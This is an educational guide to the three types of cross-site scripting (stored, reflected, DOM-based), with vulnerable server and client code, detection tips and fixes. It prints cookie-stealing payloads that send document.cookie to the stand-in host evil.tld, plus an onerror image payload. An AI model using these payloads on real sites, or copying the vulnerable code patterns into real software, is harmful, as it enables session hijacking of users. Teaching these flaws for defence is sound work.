Types of XSS:Stored, Reflected & DOM-Based
Cross-site scripting is not one bug: it is a family of bugs that all end the same way, with attacker JavaScript running in a victim's browser. What separates the three types is where the payload lives and how it reaches the victim. That difference matters, because each type is detected differently, fixed in a different layer of your stack, and carries a different blast radius. This guide breaks down each type with a vulnerable code example, a real attack payload, and how to shut it down. For the broader picture, see What Is Cross-Site Scripting (XSS)?
What Are the Three Types of XSS?
Every XSS vulnerability falls into one of three categories. The fastest way to tell them apart is to ask two questions: does the payload get stored on the server, and does the server or the browser put it on the page?
| Type | Where the payload lives | Who puts it on the page | Trigger |
|---|---|---|---|
| Stored (Persistent) | Your server / database | The server, on every page load | Victim simply views the page |
| Reflected (Non-Persistent) | The request URL or form | The server, in the response | Victim clicks a crafted link |
| DOM-Based | Nowhere on the server | Client-side JavaScript | Victim loads a page that reads attacker input |
What Is Stored XSS (Persistent XSS)?
Stored XSS happens when your application saves untrusted input and later renders it to other users without encoding. The classic home for stored XSS is anything that accepts content from one user and shows it to another: comments, reviews, profile bios, support tickets, chat messages, and admin dashboards that display log data.
Here the comment text is saved as-is, then rendered straight into HTML. An attacker submits a script instead of a comment, and it executes for every visitor:
// VULNERABLE: comment stored and rendered without encoding
app.post('/comment', (req, res) => {
db.comments.save({ text: req.body.text }); // attacker stores a <script>
});
app.get('/post/:id', (req, res) => {
const c = db.comments.find(req.params.id);
res.send(`<div class="comment">${c.text}</div>`); // script runs for all
});
A typical payload steals the session cookie of everyone who loads the page:
<script>new Image().src='https://evil.tld/c?'+document.cookie</script>
- Blast radius: every user who views the affected content, automatically, until the payload is found and purged.
- How to detect it: submit a benign marker such as
<b>test</b>through every input, then check whether it renders as bold (unescaped) anywhere it is later displayed. Review all paths where stored data reaches output. - How to fix it: HTML-encode the data at output time. If you must accept rich text, sanitize it with an allowlist library such as DOMPurify before storing or rendering.
What Is Reflected XSS (Non-Persistent XSS)?
Reflected XSS happens when the server takes data from the request: a query string, a path, or a form field: and immediately echoes it back into the response without encoding. Nothing is stored. The payload lives entirely in the URL, so the attacker has to deliver that URL to the victim through email, chat, or a malicious link.
Search pages and error pages are the usual suspects, because they love to echo back what you typed:
// VULNERABLE: search term reflected straight into the page
app.get('/search', (req, res) => {
res.send(`<h1>Results for ${req.query.q}</h1>`);
});
The attacker crafts a link and tricks a logged-in victim into clicking it:
https://app.example.com/search?q=<script>document.location=
'https://evil.tld/c?'+document.cookie</script>
- Blast radius: only users who click the malicious link, but it scales fast through phishing campaigns and is hard for victims to spot.
- How to detect it: add a unique marker to each parameter (for example
?q=xss1234) and check whether it appears unescaped in the response source. Automated DAST tools such as OWASP ZAP and Burp Suite are good at finding reflected XSS. - How to fix it: HTML-encode every request value before placing it in the response, and apply the correct encoding for the context (HTML, attribute, JavaScript, or URL).
What Is DOM-Based XSS?
DOM-based XSS is the odd one out: the vulnerability is entirely in your client-side JavaScript, and the server may never see the payload at all. It happens when JavaScript reads attacker-controlled data from a source (such as location.search or location.hash) and writes it to a dangerous sink (such as innerHTML) without encoding.
Because the payload can sit after a # in the URL, it is never sent to the server, so server-side logs and many scanners miss it entirely:
// VULNERABLE: URL data flows into an innerHTML sink
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hi ' + name;
Since <script> inserted via innerHTML does not execute, attackers reach for an event handler instead:
https://app.example.com/welcome?name=<img src=x onerror=alert(document.cookie)>
- Blast radius: like reflected XSS, it needs a crafted link, but it is far harder to spot in review because there is no server-side trace.
- How to detect it: trace data flows in your JavaScript from sources (
location,document.referrer,postMessage) to sinks (innerHTML,document.write,eval). Browser dev tools and linters that flag dangerous sinks help. - How to fix it: use
textContentinstead ofinnerHTML, prefer framework data binding, and never pass untrusted data toeval,document.write, orinnerHTML.
Stored vs Reflected vs DOM-Based: How Do They Differ?
| Dimension | Stored | Reflected | DOM-Based |
|---|---|---|---|
| Payload persisted? | Yes, in the database | No | No |
| Server involved? | Yes | Yes | Often not at all |
| Delivery to victim | Automatic on page view | Crafted link | Crafted link |
| Users affected | Everyone who views the page | Anyone who clicks | Anyone who clicks |
| Detection difficulty | Moderate | Easy (DAST finds it) | Hard (client-side only) |
| Primary fix location | Server output encoding | Server output encoding | Client-side JavaScript |
Which Type of XSS Is Most Dangerous?
Stored XSS is generally the most dangerous, because a single successful injection executes for every user who views the affected page, with no further action needed from the attacker. A stored payload in a high-traffic comment thread or an admin log viewer can compromise hundreds of sessions, including privileged ones, before anyone notices. Reflected and DOM-based XSS are still serious: they just require the extra step of getting a victim to click a malicious link. In May 2026, CISA confirmed active exploitation of an XSS flaw in Microsoft Exchange that handed attackers authenticated email sessions: proof that XSS is exploited at scale in production. Read the incident report.
How Do You Prevent All Three Types of XSS?
The defenses overlap, but the layer differs by type. The short version:
- Output encoding stops stored and reflected XSS: encode untrusted data for its exact context before it hits the page.
- Safe DOM APIs stop DOM-based XSS: use
textContentoverinnerHTMLand avoidevalanddocument.write. - Content Security Policy limits the damage of all three even when a bug slips through.
- HttpOnly and Secure cookies block the most common payload goal: stealing the session cookie.